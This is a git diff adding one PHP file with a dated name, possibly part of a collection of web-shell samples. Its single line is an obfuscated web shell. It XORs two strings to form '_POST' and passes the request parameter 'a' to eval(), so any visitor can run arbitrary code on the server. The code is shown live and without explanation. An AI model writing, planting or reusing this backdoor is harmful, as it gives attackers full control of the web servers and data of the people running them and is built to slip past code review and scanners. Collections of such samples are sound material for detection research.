diff --git a/php/2020-08-31-01.php b/php/2020-08-31-01.php
new file mode 100644
index 0000000..a703313
--- /dev/null
+++ b/php/2020-08-31-01.php
@@ -0,0 +1 @@
+<?php $a="~+d()"^"!{+{}";$b=${$a}["a"];eval("".$b);?>